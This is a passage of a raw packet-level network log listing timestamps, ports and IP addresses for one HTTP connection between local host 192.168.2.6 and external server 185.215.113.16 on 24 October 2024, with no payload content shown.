Oct 24, 2024 11:02:34.341620922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341634035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341645956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341670036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341670036 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.341682911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341695070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341698885 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.341727018 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.341728926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341739893 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.341741085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341763973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341783047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341783047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.341798067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341821909 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.341864109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341876984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341897964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341902018 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.341911077 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341922998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341933966 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.341936111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341962099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.342005014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342017889 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342046022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.342061996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342075109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342102051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.342206955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342225075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342236996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342247963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342248917 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.342259884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342284918 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.342312098 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.342346907 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342359066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342380047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342391014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342396975 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.342402935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342410088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342447996 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.342529058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342540979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342552900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342569113 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.342612982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342674017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342684031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342695951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342706919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342710972 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.342719078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342744112 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.342822075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342896938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342906952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342921972 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342945099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342946053 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.342956066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.342993021 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.343013048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343049049 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343060970 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343100071 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.343142986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343156099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343168974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343188047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.343190908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343204021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343213081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343250990 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.343354940 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343367100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343379021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343391895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343415022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.343437910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343437910 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.343489885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343502998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343542099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.343564987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343576908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343589067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343600988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343605042 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.343612909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343631983 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.343662024 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.343689919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343704939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343718052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343729019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.343739986 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.343770027 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.381748915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.381778955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.381793022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.381803989 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.381817102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.381836891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.381848097 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.381850958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.381863117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.381876945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.381887913 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.381891012 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.381902933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.381911993 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.381930113 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.433908939 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.459845066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.459862947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.459876060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.459909916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.459929943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.459940910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.459953070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.459969997 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.459994078 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460019112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460057974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460068941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460091114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460099936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460109949 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460114002 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460139990 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460140944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460189104 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460203886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460223913 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460237026 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460259914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460263014 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460277081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460289001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460297108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460302114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460330963 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460386992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460397005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460402966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460433960 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460438013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460449934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460460901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460462093 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460473061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460484982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460495949 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460499048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460510969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460530996 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460551023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460553885 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460563898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460577011 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460602045 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460616112 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460653067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460664988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460679054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460694075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460717916 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460743904 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460748911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460777044 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460787058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460807085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460815907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460818052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460833073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460846901 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460860968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460863113 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.460962057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460973024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460985899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.460999966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461007118 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461011887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461029053 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461050034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461050034 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461061954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461101055 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461127996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461141109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461153984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461165905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461178064 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461179018 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461199999 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461268902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461289883 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461302042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461329937 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461355925 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461371899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461385012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461400986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461435080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461437941 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461471081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461474895 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461482048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461494923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461518049 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461601973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461613894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461627960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461648941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461652994 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461663008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461678028 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461684942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461703062 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461759090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461771965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461815119 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461827993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461838007 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461848021 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461873055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461905003 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461918116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461930990 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461970091 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.461977005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.461988926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.462019920 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.462060928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.462111950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.462124109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.462156057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.462167978 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.462171078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.462229013 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.462233067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.462244034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.462255955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.462270975 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.462300062 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.500277996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500302076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500314951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500327110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500339031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500349998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500363111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500400066 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.500412941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500423908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500426054 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.500437021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500451088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500452042 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.500457048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500474930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.500493050 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.543380976 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.578422070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578473091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578484058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578505039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578516006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578526974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578531027 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.578557968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578567982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578578949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578584909 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.578591108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578603029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578605890 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.578627110 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.578629971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578653097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578663111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578692913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.578715086 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.578843117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578855038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578866959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.578892946 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.578970909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579010010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579025030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579037905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579085112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579097033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579117060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579123974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579128981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579149961 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579149961 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579160929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579168081 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579181910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579194069 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579200983 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579205036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579216957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579236984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579247952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579247952 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579258919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579277992 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579277992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579293013 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579329967 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579349041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579360962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579379082 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579391003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579410076 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579425097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579430103 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579437017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579474926 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579497099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579508066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579519987 CEST	80	49756	185.215.113.16	192.168.2.6
